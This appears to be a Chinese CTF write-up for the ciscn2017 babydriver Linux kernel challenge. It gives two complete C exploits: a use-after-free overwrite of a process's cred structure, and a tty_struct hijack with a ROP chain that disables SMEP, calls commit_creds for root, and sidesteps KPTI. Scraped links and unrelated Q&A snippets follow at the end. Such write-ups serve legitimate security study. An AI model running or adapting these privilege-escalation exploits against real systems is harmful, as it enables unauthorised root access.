kernel UAF && 劫持tty_struct

ciscn2017_babydriver

exp1

fork进程时会申请堆来存放cred。cred结构大小为0xA8。修改cred里的uid,gid为0,即可get root

#include<stdio.h>
#include<fcntl.h>
#include <unistd.h> int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
char buf[28] = {0};
if(fd1 < 0 || fd2 < 0)
{
puts("[-] open error");
exit(-1);
} ioctl(fd1, 0x10001, 0xa8);
close(fd1); int pid = fork();
if(pid < 0)
{
puts("[-] fork error");
exit(-1);
}
else if(pid == 0)
{
write(fd2, buf, 28);
if(getuid() == 0)
{
puts("[+] root now");
system("/bin/sh");
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}

exp2

打开ptmx时会申请一个大小为0x2e0的结构体tty_struct(size_t)tty_struct[3]的位置是tty_operations里面存放了函数指针,劫持这个结构体可实现栈迁移。

劫持write指针,则raxtty_operations的地址,劫持ioctl指针,则rcxtty_operations的地址

补充一下:在开启 KPTI 的情况下直接返回用户态会 segmentation fault,可以把原来的返回地址 get_shell 函数设为 signal 信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。(signal(11, (size_t)get_shell)

当然我们可以直接用 swapgs_restore_regs_and_return_to_usermode 直接绕过 KPTI,可能由于本题内核是一个过渡版本还没有KPTI而是PTI,我并没能找到这个函数。

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h> size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000; void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
} void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
system("/bin/sh");
puts("[*] get shell");
}
else
{
puts("[-] get shell error");
sleep(5);
exit(0);
}
} void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
} int main()
{
signal(11, (size_t)get_shell);
size_t rop[0x100] = {0};
size_t user_buf[0x100] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0}; save_status();
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
if(fd1 <0 || fd2 < 0)
{
puts("[-] open babydev error");
sleep(5);
exit(0);
} ioctl(fd1, 0x10001, 0x2e0);
close(fd1); int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(5);
exit(0);
} int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss; fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax; fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax; read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations; write(fd2, fake_tty_struct, 32); write(fd_tty,"FXC",3);
return 0;
}

kernel UAF && tty_struct的更多相关文章

  1. Kernel pwn 基础教程之 ret2usr 与 bypass_smep

    一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...

  2. Summary of Critical and Exploitable iOS Vulnerabilities in 2016

    Summary of Critical and Exploitable iOS Vulnerabilities in 2016 Author:Min (Spark) Zheng, Cererdlong ...

  3. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  4. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  5. Linux kernel(CVE-2018-17182)提权漏洞复现

    0x01 漏洞前言 Google Project Zero的网络安全研究人员发布了详细信息,并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证(PoC)漏洞利用.由 ...

  6. linux kernel下输入输出console怎样实现

    近期工作在调试usb虚拟串口,让其作为kernel启动的调试串口,以及user空间的输入输出控制台. 利用这个机会,学习下printk怎样选择往哪个console输出以及user空间下控制台怎样选择. ...

  7. ret2dir:Rethinking Kernel Isolation(翻译)

    前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的, ...

  8. [03] HEVD 内核漏洞之UAF

    作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...

  9. linux kernel下输入输出console如何实现【转】

    转自:https://blog.csdn.net/skyflying2012/article/details/41078349 最近工作在调试usb虚拟串口,让其作为kernel启动的调试串口,以及u ...

随机推荐

  1. Math类有哪些常用的方法

    public static int abs(int a) , public static long abs(long a), public static float abs(float a),  pu ...

  2. String s = new String(“xyz”);创建了几个字符串对象?

    两个对象,一个是静态区的"xyz",一个是用 new 创建在堆上的对象.

  3. Servlet与JSP之间相互传值问题

    一.JSP向Servlet传值 JSP向Servlet传值的方式有三种:URL后面跟参数.form表单提交.在JSP内置对象Session设置值. URL后面跟参数 JSP文件:<a href= ...

  4. Python - 字符串基础知识

  5. ROS的安装-> rosdep init /update报错2022.02.24实测有效

    ROS的安装-> rosdep init /update报错2022.02.24实测有效   一. 解决rosdep_init问题 正常执行sudo rosdep init会报错,如下: ERR ...

  6. jq点击改变元素样式、添加类,显示隐藏,图标旋转,再次点击还原;表格点击显示下拉详情

    点击前 点击后 <tr> <td class="right" data-id="{$vo.id}" id="{$vo.id}&quo ...

  7. css3 弹性布局和多列布局

    弹性盒子基础 弹性盒子(Flexible Box)是css3中盒子模型的弹性布局,在传统的布局方式上增加了很多灵活性. 定义一个弹性盒子 在父盒子上定义display属性: #box{ display ...

  8. IMWEB 前端面试题汇总

    1.什么是盒子模型? CSS中的思维模型,每一个元素都包含margin,padding,boder,content区域,占一个盒子形状,整体称为盒模型. 2.简述一下src与href的区别? Href ...

  9. canvas元素内容生成图像文件

    准备工作 想要将canvas元素当前显示的内容生成为图像文件,我们首先要获取canvas中的数据,在HTML5 <canvas>元素的标准中提供了toDataURL()的方法可以将canv ...

  10. 为什么局部内部类访问外边的局部变量必须为final

    6.局部内部类访问外边的局部变量时,此变量必须为final类型 马克-to-win:由于技术方面的限制,java的设计者们做出如下语法规定:局部内部类访问外边的局部变量时,此变量必须为final类型, ...